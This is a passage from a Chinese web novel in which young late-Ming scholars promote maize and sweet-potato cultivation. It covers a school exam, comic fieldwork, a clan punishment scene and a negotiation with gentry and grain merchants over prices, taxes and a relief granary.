“这只是暂时的,到明年收成前,只怕还有些风浪。” “先不说这些,药涂完没?”郭嘉换了话茬子。 “涂完就出去吧,该上课了,张师兄这些天没来私塾,做师弟的……”路过张岱的时候,郭嘉眨眼一笑:“得给师兄补补课才是。” 张岱:……其实不是很想补课。 看出张岱表情里那副憋屈,杨业忍俊不禁。周盈拿起桌上的纸,也跟着几人走了出去。 下午,也就是吃完饭,休息了一会儿后,学生们被夫子们带着来到了新种下番薯玉米苗的田里。 一群穿着程子衣,大眼瞪小眼的学生们,见着旷野般,刚翻了土,散发土腥味道的田地,都是一脸茫然。 学生:阿巴巴巴巴……怎么种地? “这、这我们如何?” “有人……会种地吗?” 很显然,没人应声。 有人嘟囔:“我们是做学问的人,怎么能来田里跟一群佃农做事?” “就是,也不知道夫子怎么想的。” “说什么呢?怎么还不开始动起来?”走过来的章夫子喝了一声,随即,一群学生跟小鸡一般蹿开了。 一时间,整个田地都热闹了几分。 田间路上,周盈踩着泥里的脚印,听着旁边陈夫子絮絮叨叨的话。 “你这事,要办的稳妥些。这些天,整个绍兴府都已经听到了你做的那些事情,如今那些士林大儒,对此颇多非议。” “诶……这些人啊,嘴上说的是厉害,谈起国来振振有词,但怎么治国理政,却是半点都拿不出策论来。” 陈夫子手负身后,看着左右两侧田野间,几个学生抄起袖子撩起裤管,闭着眼一副英勇就义的模样,往那田里一跳。 随后跟踩着什么尾巴一样,在田里头蹦跶,手发抖的指着地上。 嗯……挺精神的。 他捋了捋胡须:“那证人书院的刘宗周,知道了你做的那些事,你猜他说了些什么?” 听老师这般卖关子,周盈轻轻一笑:“学生猜,他或说学生是沽誉钓名之辈。” 陈夫子哈哈一笑:“他说是奇淫巧技,不堪大用。刘宗周在蕺山办了个书院,日日讲课,讲的是引经据典,说的是圣人贤书,教出来的学生,可还没有我的厉害呢。” 周盈听出他那点儿骄傲的小得意,也有些忍俊不禁,陈夫子平时看起来古板,偶尔的时候,还是有点小老儿的性格在的。 “再过几日,就是绍兴府联考,你可得帮为师,好好出出这口气,我整日听他吹嘘他那学生黄宗羲,说的是文曲星下世一般,可文曲星怎么也不写出一份这样的惊天策论来呢?纸上谈兵!” 陈夫子说到这,心里那口气都舒坦了:“你和奉孝二人如今已有了秀才功名在身,这小小联考想来是也不成问题,且当做出去走走看看,也不要总是困在这小小一亩三分地里。” “是,学生省得。” 陈夫子见他这般礼数周到的模样,也是欣慰的很!谁再说他陈子长弃官归乡,开设私塾,是固执己见,就把自家学生写的策论甩出去! 你们教的出这样的学生吗? 哼!不能! 傲娇的陈夫子这些心里可谓是舒服极了,不少以前的同窗知交,都来信寒暄,可给他吹美了。 屋内,这会儿正苦恼着,拿着笔,无从下手的张岱,瞄了一眼坐在一旁的郭嘉。 郭师弟这会儿翘着二郎腿,手上翻阅着墨轩斋主人所著新书。 张岱见状眼睛一亮:“小师弟!你也喜欢看墨轩斋出的书?” “啧…你现在是在考试,能不能专心点?”郭嘉闻言,合上书,没好气的看了他一眼。 自打这小考开始,张岱已经上了两次厕所,喝了三次水,搭了五次话,连带着郭嘉都有些不耐烦了。 “哎呀,在下这实在是…写不出来。” 张岱闻言,脸都皱成小倭瓜了,看看小师弟这出的都是什么题目! 其一,论“新嘉种”推广之利与阻。 今有海外玉米番薯,亩产数倍于粟米,朝廷欲广推种植,以解民困。然,乡绅恐失租,佃农忧变赋,粮商虑价跌,胥吏窥新利。 试问:当以何策,能破此重重阻碍,使嘉种畅行于野,其利尽归于国与民? 张岱:……?这是我这个水平能写的东西? 再看第二题。 其二,论清田安民之两全策。 浙东之地,乡胥隐田,小民投献,民官之田赋役不均,今朝廷力行清丈,意在均平。清田必触豪右之怒,安民则需抚恤贫者之生。 问:如何行清丈之事,可令乡胥损而不怒,贫者惧而得安? 张岱:?不是,我清我自己? 最后一题。 其三,论非常之时,行非常之事的尺度 古有云:治大国如烹小鲜。今日国势糜烂,弊政丛生,若仍以常法、循旧例,如抱薪救火。试以矿税、漕运、边饷任一为例,论“非常之时,当用非常之人,行非常之法”之要。 言明:此“非常之法”之边界何在,方不致沦为害民之暴政? 张岱:?我是学生!我还是个学生!! 看看这都是什么题目,他一个只有秀才功名在身的学生,哪里想的出来什么花呢!这不是为难人吗? 郭嘉站了起来,抱着胸走过来:“你这题目够简单了,又没让你去做,写还不简单吗?” “呃呵呵……” 张岱擦了擦汗,算他没本事。 “小师弟,这几题,实在是……太宽泛了。你师兄我,还是喜欢写点别的。” “比方说……?” 张岱闻言来劲儿了:“我跟你说啊,这些国家大事的,我们在这纸上谈兵,到底是没什么用的。” “索性呢,倒不如聊聊等会儿出去吃什么!我刚听说了,山阴县刚开 了家小炒店,那掌柜的厨艺一绝!我……” 话音戛然而止,张岱看着郭嘉脸有些发黑,也就识趣闭嘴了。 “哎,好吧好吧,我写就是了!” 郭奉孝深深叹了口气,一时间竟是有些挫败,好歹,他也是历史上板上钉钉有本事的人,怎么就教上这么个纨绔子弟? 真是要命,半点悟性也没有。 “你写的什么文章,拿来我看看。”眼一瞥,余光瞥见张岱手上拿着几张纸盖住最底下那白字黑纸的文章,郭嘉好奇,直接伸手一拽。 “哎!我瞎写的!” “嗯”郭师弟皱起眉,看了一眼张师兄,对方手顿了顿。 “好吧好吧,也就是胡乱写的东西,你想看,看就是了。” 郭嘉心想,这还差不多,且看看这家伙不务学业,到底写的什么! 提名曰:《应试记趣》 “余生平最畏者,无过屋场。方寸素纸,竟如疆场。一管羊毫,重若铁戟。然今岁小试,别有况味。” “试前,郭小师弟列题四道,如顽石塞路,非斧凿可开。余观嘉种之利阻,如见田垄间万民睽睽。读清田安民策,恍闻胥吏乡绅之算盘铮铮,耳间如雷,发于闻声之间,实乃苦闷繁杂之祸。” 哟呵,这都还给小考写了篇小散文了?郭嘉读的乐不可支,看着张岱那忐忑的小模样,心里不免更觉有趣。 继续往下。 “尤可记者,考场一隅间,时秋末。窗棂倚斜阳,镀作灿金熙,忽有飞蛾竞,盘之翼振振,似与某笔共,余搁笔痴看。 暗忖:此蛾亦读得懂非常之时,非常之法耶?不觉失笑。” 嚯,秀文采了嘛。 郭奉孝看的津津有味,只觉张岱之笔,妙不可言,趣味丛生,好个考场小记,实在是生动活泼,连开小差都能写的这般,读之津津有味。 也不算个差生了。 纯属偏科。 “咳,郭师弟……看完没?该还给我了吧?”张岱有些心虚了,看着郭嘉一会儿嘴角一翘我,过会儿板着一张脸的。 都猜不出对方什么心情了。 “张师兄,好文章。好个忽有飞蛾竞~” “诶?我说你这本事也不小,怎不把心思多放在学习上呢?” 郭嘉这话带着几分无奈。 闻言,张岱眨了眨眼,接回纸张:“只觉,光看一眼那四书五经,程朱理学,便觉昏沉沉,病殃殃,实在受不住。” 这是吐槽这八股文教学太死板呢。 张岱这话,郭嘉还真是颇有共鸣。但学还是得学!这事儿不能躲,总归是得朝中自己人越多越好的。 “嗯,你这话我觉得在理,但是没办法,咱们捏着鼻子也得学,现在辛苦点,将来对你对我,对家里,对那些想做事的人,都有好处。” 张岱撇了撇嘴,叹了口气,认命般:“行了行了,我写就是!师弟这话说的,我不学那就是罪大恶极了。” 郭嘉莞尔,小朋友还是嫩,糊弄一下,就开始斗志昂扬了。 “嗯?你们在屋里做什么?”进来的周盈见着两人这架势,不禁稀奇一问。 57.第 57 章 “还不是为了给张师兄开小灶呢?他倒好,给我秀了段文采,考题呢,是一笔没写。”郭嘉的手敲了敲桌,语中戏谑之意不言而喻。 听得张岱只觉羞愧:“是极,小师弟这专给我一个人补课,我倒还开小差,也是有愧小师弟的一片苦心了。” “可别贫嘴了,外头那群师兄闹得要命,你们两个躲在这清静呢?”周盈笑了笑,走过来。 “诶?那我可得出去瞧瞧看了。”张岱说着就要放下笔站起身。 郭嘉盯着他,那点小心思,千年的郭狐狸一下子就看出来了。 “写的什么?” “喏,也就几题策论而已。张师兄反倒是另辟蹊径,写了篇小散文,我看得如痴如醉,当真文采斐然!” 这么一说,周盈很稀奇:“给我看看?” “嗯……也不是什么,就是开小差写的一些废章而已。”张岱说着掏出自己的文章,一时间心里也是尴尬的不行。 但让他写那三道策论,也实在是太难为他了! 周盈无奈摇头,低头瞄了一眼张岱的小文章,竟也觉出趣味。 “张师兄文采不俗,我读之如逢甘霖,虽非科举之文,却有灵动之巧,难得。” 这一夸,给张岱夸的有些不好意思了,白皙脸上微红一片,整个人都有些拘谨起来:“我爹总说我不务正业的,可这八股文看的人头疼,兴趣不在这上面,也实在没办法。” 话说的周盈和郭嘉都乐呵了,周盈莞尔,说的话让张岱听了飘飘欲仙:“而今,张师兄也算是帮了家里的忙,这玉米番薯的国策能推行下来,不也算张师兄的一份功劳?哪里就不务正业了?” “咳、咳!周师弟莫要夸我了,我、我还是先把这三题策论写了。你们不是还要忙着外面田里的事情吗?去吧去吧,我在这自己写。” 他说着,就拿起笔,蘸了蘸墨,一副正气凛然,十足专注的模样。 周盈和郭嘉对视了一眼,两人皆是忍俊不禁。 试验农田边上。 一群学生,围在一起。 身上泥泞不堪,指着那不远处的番薯苗,颤抖道:“有、有虫!” “对对对!好大一条!长的,黑的!滑不溜秋!”有人附和。 几个学生这会儿脸色煞白,原先干净利索的衣服,这会儿皱巴巴不说,胸前还印了几个手掌印。 听到这话的佃农也稀奇,手上抄起袖子,有些皲裂干巴的小腿,随着下地一跳,隆起一些鼓胀肌肉。 “俺看看,什么虫。” 几个人目光都盯着他,只见这佃农一弯腰,手朝着泥里扒拉了没一会儿,直接抄起一只扭动乱跳的黑色长虫,然后抬起朝着路上学生喊:“这个?” “嗯嗯嗯,对对对就这个!” 佃农看了看一群吓得跟鸡仔一样的学生,再看看手里的“黑色长虫”,乐呵了。 “这玩意儿不咬人!相公们莫怕,这叫蚯蚓!” 噗…… 边上听着的几个干活的妇人和汉子,一听这声,都忍不住笑了出来。 “小相公,这玩意儿长地里的!是好东西,给地松土的!” 啊…… 闹出乌龙的一群学生脸色一红,尴尬得一时间不知道说什么。 “古、古云:知行合一!如今也算是见识了,知道蚯蚓是个什么东西了,师兄弟们说对也不对?” “对对对!嗯!” 这边一群人,给自己卖力挽尊着。 那边,撩起袖子,坐在路边,给人掰着玉米的沈越一行人,简直是脸黑如锅底! “青山,咱们好歹是读书人,怎么能来干这种活?”坐沈越边上的一个学生撇嘴,看了一眼手里掰下来的玉米粒。 “你说这玉米番薯,真有那么大能耐?” 沈越看了他一眼:“你问我?” “呃……这不是好奇吗?张岱那神气的样子,我看着都来气。” “哦?那你去揍他一顿啊。” “……这…”这人被噎了一嘴。 “青山,话不是这么说,这绍兴联考也就那么几个名额,要是都被张岱那伙人占去了,我们几个怎么办呢?” “你有什么办法?” 此人放下玉米,凑近一些道:“咱们啊,把这事搅和了。” 他指了指地上一筐玉米粒。 沈越眯起,“哦~”了一声,紧接着,手抄起一把玉米,直接往他嘴里猛塞:“你还是闭嘴吧,尽出馊主意。” “?唔唔??唔?” “呃……”几个人看了一眼在火气上的沈越,再看那嘴里咀嚼砸吧玉米的人,也就都不敢说话了。 脾气真大。 “诶?青山师兄,你们怎么在这?找了你们好久了。” 见着这群人坐在路边上掰玉米,周盈一时间也有些啧啧称奇。 沈越此人,坏倒算不得坏,单纯是性子骄傲,有些目中无人。 如今这人竟也稳的下心,坐在这儿帮着掰玉米干农活,可真是转性了。 听到声音,沈越放下手头东西,看了一眼周盈,见这小师弟袖子撩起的架势,那细胳膊小腿的,白生生,怎么晒都没晒黑过,自打入了私塾,就跟个糯米糍一般,越长越出落,越大越有本事。 真是人比人,气死人。 心里酸溜溜的,沈越语气也不太好:“这不是夫子说的吗?要来这里实践,我们几个也不想去地里干那些活,掰个玉米,小师弟不介意吧?” 听他这话说出口,周盈心里就明白了,这家伙纯是别扭性格。 嘴角一翘道:“当然。不过这儿的事情总归大材小用了一些,青山师兄的文章我也是看过,那篇《知行论》写的就很好。” “欲以理之为先,以行之为动,是为侦动之变也。” “此话说的在理,若无行之,也不能明理。就如这嘉种,总归要掰了玉米,尝了味道,才知道到底是什么样的。” 周盈侃侃而谈间,竟是直接把先前沈越所著之文章,其中一句背了出来,也是让几人稀奇诧异了。 这会儿都看向沈越。 对方轻咳一声,放下手里的东西。 “只是一些微末见解,也比不得小师弟那份策论之精妙。” “非也。我之策论实也是因知行合一。若无种植番薯玉米在先,又如何能知其精妙?这便更不可能想到写进策论了。” “哦?” 沈越皱眉,不知道在细想什么。 周盈见状,嘴角微弯,几个人自发给他让了个小凳:“小师弟坐。” “我蹲着就好,师兄们肯来帮忙,我已经是得了便宜。” “哪的话,这也是夫子一说罢了。哎?小师弟,可否细问,你这策论撰写之时,思路如何?玉米番薯之种,又是如何挑选?还有……” “巴拉巴拉……” 几个人围在路边,聊的热火朝天。路过的学生都稀奇了,沈青山那讨人嫌的性子,怎还有人敢往上凑的? 一看,哦……是周师弟,那不稀奇了。 学霸总归是有点光环的。 周盈说的口都有些干了,心里也是汗颜沈越的好学之心。 沈越见状,也停下了话头,看了一眼坐在边上的一个学生。 对方没反应过来,眨了眨眼。 “水啊。” “哦哦…” 见几人着急忙慌的模样,周盈莞尔:“不用了,我这是有点事来找青山师兄。” “哦?” “是这样,咱们劝农司刚成立,实在是人手不足,识字的也少,种地也得掰着账算,今日种苗几何,谁种的,下发的农具多少,这些都得记在账上。” “其实主要还是想着,给这些佃农教些基础的字,这样即便是以后,在生活上也用得着。” 听了他这话,沈越皱起了眉,心里第一时间的感觉便是不太乐意。那些佃农目不识丁,不通圣人之道,与之讨论,如鸡同鸭讲,实在烦闷。 “倒也不用太久时间,也就是实践的时候,过来教一会儿就够了,还有一些佃农的孩子,我看着也心疼,和我一样的年纪,连吃口饱饭都成问题。” “咱们种这玉米番薯,也就是为了让大家都能吃上饱饭。” “诶……”周盈叹息,脸上带着几分难过。 几个人你看我我看你的,听的都有些于心不忍了,到底是读圣贤书的,那些圣人的话,有时候还是挺有用的。 比如…… “孟子云:老吾老,以及人之老。幼吾幼,以及人之幼。小师弟这是已经触及了圣人之学了。” “我听着,都有些难过,好歹我是吃穿不愁,也不用干这种农活。这要是一辈子干这些事,那得多难受?” 十指不沾阳春水的世家子弟们,这会儿看着自己掰玉米掰的有些发红的手,也都有些不是滋味了。 沈越看了眼几人,心中有些迟疑。 再看周师弟那泪汪汪的眼睛,一时间…… “好吧好吧。就当是做师兄的,谢师弟那份赏阅文章之心了。” 周盈闻言,忍俊不禁,看来不是个纯傻的,孺子可教也。 也就这会功夫,小跑过来的仆人凑到他耳边开口嘀咕了什么。 周盈微微皱眉,随即展颜一笑:“那我就先失陪了。” “小师弟去吧,劝农司那,我们几个担着就行。” 58.第 58 章 走在田道上,周盈步履当风,朝着人问道:“来了哪些人?我娘呢?” 那仆人微弯身子道:“是张县令,还有张家、杨家,几个别的,都到前院了!” “周掌柜和郭夫人这会儿在前院呢,郭老祖宗也在,刚和郭家那些人清点了些账目。” 哦… 来商量事情的。 往前走,就看到行色匆匆的杨业身影,对方见着了他,便眼睛一亮小跑了过来:“小师弟,我正想着来找你呢。” “杨兄这么急?看来找过来的是好事啊。” 周盈调侃了一句,杨业摆手道:“是我爹他们,想着国策的事情总归是干系重大,这才找了几个人过来,跟大家商量商量。” “诶?郭师弟和宗子呢?” 聊到这俩,周盈思忖了一番,转而开口道:“他们两个还有点事,我们先过去吧。” 走到郭氏门口,这还没进屋呢,周盈就听到了一阵哀嚎,以及板子响起的声音,几个女眷畏畏缩缩站在大院,这会儿也都是噤若寒蝉,生怕被波及。 “哎哟!哎!老祖宗!老祖宗我知错了!啊!” “老祖宗饶命!老祖宗,这板子打不得啊!” “要了我的老命了!我们郭氏怎么就闹得鸡飞狗跳了!家要亡了!” 几个人跪在堂前,求着里头坐着的郭勋收回命令,一旁院子三四个正在挨板子的,也都呲牙咧嘴,冷汗直流。 没人注意到刚进来的周盈。 见状,周盈皱了皱眉,这杀鸡儆猴,总也得分个时间,这会儿来了客人,怎么也不收敛点? “怎么回事?” 那仆人声音小了一些说道:“这是惹怒了老祖宗,小掌柜莫怕。” 于是在仆人解释下,周盈也就明白了事情原委,原来打从郭勋给两个人宗祠都单开了一间后,清账的事情周瑶和郭怡就直接上手了,好歹是做生意出身的,查账那就跟火眼金睛似的,一查一个准。 还没翻几本就觉出来不妥,这才叫了郭勋过来,问问清楚,要是事情有蹊跷,要怎么处置? 郭勋听了自然是明白这其中一定是有大问题了,冷着脸,直接表示:凡是贪墨、借着郭氏名头为虎作伥,耀武扬威的郭氏子弟,都得查个水落石出,量刑处置。 这就是半点都不留情面,要翻个底朝天了。 想了想,他也没说什么,提着衣摆往前走,在众人注视目光中往前走着。 刚走到大门口,就听到里头投掷破空的声音,周盈下意识脚步一挪,紧接着一盏茶杯盛着热茶,直接朝着跪在门外几人泼过去。 “当啷——!” 脆响间,茶杯碎了一地,险些被砸到的几个人这会儿额头都冒出了冷汗。 “混账!岂有此理!咱们郭家,都要被这些蛀虫害死了!你们几个倒好,眼皮子底下的事都藏着掖着!生怕我知道!!真是……咳咳……畜牲!” 一声怒吼猛地响起,顿惊的大院里头的所有人都屏住了呼吸。 周盈看了一眼几个跪着的人,却正是先前在饭局上,闹得最凶的那几人,为首的郭恒这会儿缩得跟鹌鹑一样,手哆嗦着,给自己擦了擦额头的汗。 “老祖宗——” “我没你这个不孝孙!给我去门口跪着去!”郭勋冷哼,打断了话茬。 身着七品官服,头戴乌纱帽的张智林看了全场好戏,这会儿低头抿了口茶,也不开口说什么。 他是知道这场戏,演给谁看的,也知道郭勋这只老狐狸,到底想说什么,总归是对大家都没坏处的事情,看着就行了。 屋里头坐着的几个人,这会儿神情有些复杂多变,互看一眼间,都觉察出这事儿不太对劲。 张县令还坐在位子上呢,你郭勋反倒是先处理起自己的家事了? 眼看着几人连滚带爬的起身往外走,扑通一声,就全都齐刷刷跪在门口,也真是一道靓丽的风景线了。 周盈心想,这速度还挺快。 “汝瑛来了,快快进来。”郭勋眼尖,早见到了周盈身影,只是碍于先前那场戏还没演完,便只能耐着性子演完。 见他立刻挂起一张笑,说话语气都缓和了下来,屋里头一群人眼神都有些古怪了。 “老祖宗,不知唤我来所谓何事?” 周盈走进门,行了一礼,修长挺拔的人影穿着素白衣衫,薄纱翩翩,当真是一副无瑕君子般的美态,叫郭勋看了,也是打心底的觉得喜欢。 闻言,他指了指坐在堂里的几个人:“这几位,是张家、杨家的人,还有一些,是咱们山阴县里,也算有头有脸的人家,他们来,都是为了谈一谈关于国策的事情。” “是啊,小神童。咱们也是听了您的名字,想着过来见见,开开眼呢。”一个蓄着胡须的中年男人笑呵呵道。 周盈回了个礼,知道这事情没明面上那么简单,便也开口道:“不知诸位劳师动众前来,可是关乎国策?” “呃……小神童,我也就不多绕弯子,在下沈峰,是这样,咱们这地,自古以来也都是种的粮食,如今改成一半种玉米和番薯,我们一时间,也确实拿不出那么多地来。 再说,此事还关乎粮价的问题,如果来年粮食少了,那粮价就要涨,涨起来,到时候的收税、起运粮食的事情,也都是大问题。” 沈峰家里头做的就是粮食生意,因此最关心的也是这个。说的时候掰着手指头算,一笔一笔的账,如大山一样,压得屋里头几个人都有一些沉默。 这事,说的真不假,毕竟田赋征收折银,起运的粮食也是必须要出的,番薯和玉米种虽是能种,但并非正赋之物,也不能拿来用作抵押,到时候丰收了归丰收,可粮价也必然会跟着涨上去。 沈峰本意便也不太愿意跟着改,毕竟这粮食到底是硬通货,番薯玉米犹未可知呢。到时候,出了问题,张智林担不起,几个合伙的也担不起。 这是牵一发动全身的事情。想明白其中蹊跷,周盈也是皱起眉来,变法千难万难,难就难在不论怎么动,都得要触及到一些人的利益。 若粮价上涨,虽那些改种番薯玉米的获了利,但照例只种粮的就会待价而沽,到时候,最终波及的是谁呢? 还是百姓啊。 琢磨清楚里头的账,周盈心叹了一口气,他倒还没开口,坐在上面的张智林先起了个头。 “周神童,沈峰的话所言非虚,本官此番前来也是为了此事,其一便是他之所言。其二,是那些不参与改种番薯和玉米的百姓,等那粮价上涨了,又该如何呢?” 张智林虽是调任过来盯着国策的,但到底也是做官多少年,其中利害 关系琢磨的清清楚楚,干系太大的事情,自己就尽量不要插手进去。 因而,他一开口,所有人的目光也就都转向了周盈。 这个端坐在位置上,月色长袍,端容清华的周神童,此时此刻蹙眉的模样,应也是被问住了。 沈峰心里腹诽,到底也就是个七八岁的孩子,能提出国策已是不凡,但未曾深入地方,说的东西难免也太虚了一些。 几个人目光都有些不太安稳,坐着的郭勋,脸上神情也沉重了一些。 有人心急,有人忐忑,也有人暗自窃喜,有心中不满的,总归是一个屋檐下,却心思各异了。 “沈掌柜所言,倒是不假。”突然一道声音,戳破了这有些诡异的气氛。 周盈已是抬起头,脸上没了方才那纠结深思的模样,月白的脸颊还有些奶膘未褪,眼睛里的星光一闪,似有了定夺。 “哦?周神童不妨说说。” “诸位疑虑应有三。 其一曰,谷贱伤农。改种者丰收,却因价贱而利薄。 其二曰,谷贵伤民。不改种者买粮,恐粮少而价贵。 其三曰,赋税阻梗。田赋征银,起运征粮,番薯玉米非正赋之物,农户如何完税?” 周盈说着,便一根一根竖起了手指,看着在座的几人,见众人神情各不相同,有的点头,也有皱眉不言者。 心里思量,暂不知这帮人前来的目的是什么,他便转向了张智林。 “张大人,若是关于这些疑虑,那学生倒是有一策可试。” “哦?不妨说来听听。” 周盈点头,心里组织语言,开口道:“事情也不难,只需县衙出面,与承销新粮之商号,签立一份预购合约。 约定:来年秋收,凡我山阴县试点农田,所出之番薯玉米,由承销商号按当年市价上浮一成,尽数收购。” “此合约一式三份,县衙、商号、劝农司各占其一。” 听他说到这的几个人,都皱起眉头来,沈峰捋着胡须,思忖起这其中的盘算,听着是衙门背书,以承农户之心安。 但这其中到底是要他们出的田和粮,沈峰心里自是不满的,此番前来本就是为了商谈,再从中周旋些好处,岂能因此而直接答应? 这般想着,他呵呵一笑道:“小神童果真天资聪慧,只是,这事情在下倒还有一件疑问。敢问这商号出钱者,是谁呢?” 他这话直接问到了点子上,好些人也都颔首思忖:“是啊,这才是大问题,朝廷的事情,咱们自然也是想着为国分忧,但我们也难,手里没有那么多钱和粮食,若是真要等来年,收这些番薯玉米,这也得商量才是。” 张智林撇了沈峰一眼,对方脸上依旧挂着笑,只不过低下头看了一眼茶杯里的水,显然是在算计什么一般。 一旁坐着的一个中年男人突然开口:“此事,我杨家觉得可行。南直隶那边的路子,我们可以帮忙解决。” 这是杨业的父亲,名岳,字茂川。 杨岳这话一开口,屋内有些人脸色就有点挂不住了。谁人不知道你们淮扬盐商,这会儿是跟着周家穿了一条裤子的! 沈峰轻咳一声又道:“这……再说了,方才还谈,若是粮价上涨,又该如何呢?咱们也不能全保证,那些农户都愿意种这玉米和番薯呀?” 59.第 59 章 “若真是涨起来,我这小小粮商,也仅能自保罢了,诸位也不要怪我多嘴,实在是滋事体大。” “就是啊,这粮食关乎民生大计,咱们这些担心也不是白担心的。” “况且,这一成的上浮,多出来的钱谁来掏呢?” “咱们收了那么多番薯玉米,卖给谁?怎么运?这些总得是提一提?” 几个人你一言我一句,顿时,屋内就成了菜市场,大家伙这会儿脸色也都微妙了。 张家那位眯着眼,打量了这些人:“我问你们,这国策推行下去,将来收上来的番薯和玉米,已经是商量好了,要酿酒、晒番薯干、磨那玉米面等,更甚者,还能多销到其他地方,南直隶的漕运,杨家的人已经安排好了,政策上,张大人也都尽力配合,你们现在问出这样的话,是什么意思?” “哼,我们只是想问清楚一些而已,把账算个明白。”那人冷哼一声。 话头被引到自己身上,张智林这会儿也是叹了口气,额头都有些冒汗了,眼睛瞥了一眼一旁安静喝茶的周盈。 周盈目光一闪,心里明白了,这群人登门拜访,摆明着就是要把这个账算明白了,更要质问他,这国策办了到底有什么好处! 这不是阴谋算计,也不是你死我活,只是利害关系,也必须全靠一个“利”字来解决。 这么想,他声音沉稳开口:“这确实也是紧要问题,既然几位提出来了,那不妨也都说一说。” “要算账,就算个明白。” “其一,玉米酿酒之事,周府是早已安排妥当的,那玉米酒诸位先前,在孩儿笑酒坊,应当也都是尝过,滋味如何?” 屋内众人一时间安静下来,几个人交头接耳的,似乎是在商议什么。 周盈不理会,继续道:“其二,光以粮出手,扣去本钱可得多少利润?我们拿玉米可酿酒、磨面,拿番薯可晒干、亦可酿酒,此法尚在调配酒糟,不过假以时日便可推出。” “其三,也是最重要的一点,番薯玉米之推行,是为太平足民,饥荒救灾。” “尔等可收番薯玉米以作酿酒、磨面、晒干,出售漕运,杨家也都已经打点好,若是运到南、北直隶去售卖,其中所得之利润,再减去成本之价,各种利害,也就不必我再多说了吧?” 这话说的条理清晰,也把一群人最担心的一点,利润,给阐述了个明明白白。 沈峰闻言,脸上闪过几分若有所思,心里盘算了一下这其中的利润和好处,倒是觉得尚可,但依旧还未完全松口:“那……敢问,这田赋之事,该如何?” 这确实是大家最该担心的。 周盈闻言,拿起桌上杯子吹了吹,一派淡然的莞尔道:“这就更不急了。” “既设了劝农司,番薯玉米虽不是正赋,但我们可让劝农司为名下农户代缴。 只需农户们将所卖得之银两在秋后,以新粮折价偿还即可。 这样一来,方便了管理缴税,也能让农户们自己买卖少些亏损。” “诸位以为如何呢?” “这……”沈峰迟疑了一下,想再找些问题。 他话还没说出口,另一个人反倒是跳了出来。此人体型微胖,生得似弥勒佛,说的话倒是尖锐极了。 “敢问小神童,借粮给这些农户,又该是谁出粮?若是来年粮价挤兑,吾等又该当如何呢?” “此法,听之于国有益,实则挤兑粮价,炒高嘉种,于民而言,实为不妥。” “……”屋内一时间安静下来。 张智林皱着眉思忖起这一轮下来的谈判。 其实刚开始,周盈提的那些解决法子,他自然是无不赞同的。 毕竟是卖了他一个人情,也无需官府出什么钱,只要出一份告示就成了。 不过很显然,这些乡绅和商人也没那么简单,几句话是全然糊弄不过去的。 叹了口气,张智林也难免觉得这事儿难办,又要推玉米番薯,又不能让哪一方损失太大,这其中的平衡太难把控。 张智林忐忑再三,张开了嘴:“此事,本官以为,事要办,心也要齐,我看呢,诸位一起出一点力,这样均下去,也不伤筋动骨,来年呢,劝农司丰收,有的谈,向朝廷谈,再以税压一成,以作补偿。” “诸位以为如何?” 几个商人闻言,那是完全不松口,毕竟朝廷那德行谁不知道?沈峰礼貌一笑:“张大人所言,倒也妥善,来年的事情,咱们来年再说。” “……” 大家伙都在等周盈开口,只看这少年深吸一口气,抿着唇沉默了一会儿。 长睫翕动之间,他皱着眉道:“我们种这玉米番薯,为的就是让人吃饱饭。” 周盈实在有些不耐烦了,这不是把所有人当傻子糊弄? 为什么搞玉米番薯?为什么大费周章推行国策?为什么非要劳师动众想出这么一套法子? 还不是为了让玉米番薯,走进家家户户! 这帮人,这不肯那不肯,说的话是一片为国为民,做的事情反倒是这不要那不要的。 端的就是不愿推行新政策罢了,毕竟种粮是老本行,种玉米番薯还要跟官府衙门合作,其中利害关系,商人总归是更清楚的。 压下心中思绪,周盈将茶杯放在一侧,抬起头缓缓开口道:“诸位若是还觉不妥,那我便再出一策。这说来说去,不就是怕百姓吃不饱饭? 那我说,让劝农司以略低于市价之价,常年供应番薯干、玉米面,予以百姓。这样,米市少了三成买主,粮价焉能不跌?” 说着话之间,周盈目光转向了沈峰为首的几人,面无表情的继续说:“既然诸位这般挂念山阴县的百姓们,想必……从这新政中拿点利出来造福百姓,也不难吧?” 几个人脸色有些僵硬,那弥勒佛一般的商人低着头便想了想,硬着头皮,刚要开口。 便听见周盈话锋一转,压根不顾他要说什么,直接看着在场所有人,声音一提:“这就是第二条! 新政获利者,是改种农户与劝农司诸位。而新政受损者,是坚持种稻之农户与那些 吃不饱饭的困户。获利者多担一分,受损者便少苦一分。 我们可让劝农司每年提一成利,存为‘乡济仓’。 此仓专做两件事。 一,丰年平价籴谷,歉年平价粜谷。 二,冬闲时招募贫户修渠筑路,以工代赈。” “关于改半田亩的事情,我这里也有解法。”他也不等这些人有没有跟上自己的思路和节奏,便直接站起身走到正中间,朝着这会儿还在暗自琢磨的张智林行了一礼。 又言: “张大人,番薯玉米不与五谷争地。稻麦需良田,番薯玉米可植于山地、沙地、新垦荒田。 山阴县有荒山、边角田不下数千亩,从未纳入粮赋账册。 若衙门允准,劝农司也可招募无地流民,垦荒种薯、玉米,三年免赋,所产尽归垦户,只须按平价售三成予劝农司。” “诸位,此策论如何?可还算满意?” 话语一锤定音般,将在座众人都敲回了神。一群人皱着眉,心里的盘算这会儿是被连番轰炸弄得有些乱了场。 沈峰心里想了什么一般,朝着几个人看过去,那些乡绅没有他沉得住气。 弥勒佛商人直接起身开口:“小神童,咱们的意思也不是……” “哦?那你是什么意思?方才沈掌柜问我,若是粮价上涨该如何?我这会儿也已经给出了我的法子,怎么?难不成诸位觉得还不妥?” 周盈看着那个开口说话的中年男人,直接出声打断,这帮人到现在都没想着诚心坐下来谈判,那他这面子也实在是不想给了。 “要谈,就拿出诚意来,不谈,那就这样散了。你们到底都是山阴县有头有脸的人物,出点粮,来年丰收了,商号也跟着一起赚钱,这是分利润,一起共赢的好事情。” “如今你们总扯着那些大义旗帜,说的是为民为国,算的那些却全都说不到点子上。我实在是不明白你们来此的目的。” 屋里静默了片刻,张家的那位,这会儿也放下了杯子,开始细细打量起这位出口字字珠玑,雷厉风行般的少年天才。 杨岳这会儿。心里不免地要拿周盈开始对比自家那个混球了,怎么别人家的孩子就是看着让人稀罕呢? 站在屋外头的杨业打了个喷嚏,总觉得背后凉飕飕的。 屋内众人,也都放下手里的东西,氛围有些尴尬起来。 也就这个时候,周盈又开口了。 “张大人,国策之事,圣旨上都是怎么说的?” 张智林闻言,脸上神情复杂的开口道:“圣旨言:官督民办,非正式衙门,不支俸禄,不隶铨选。许以‘奉旨劝农’,可便宜行事,以查变法之弊,通国策之急。” “好。” 周盈看这群人还不说话,站起身道:“既是便宜行事,那烦请张大人,不妨先把今日我等商议之事,呈以上书于布政司,再由布政使亲自定夺,如何?” 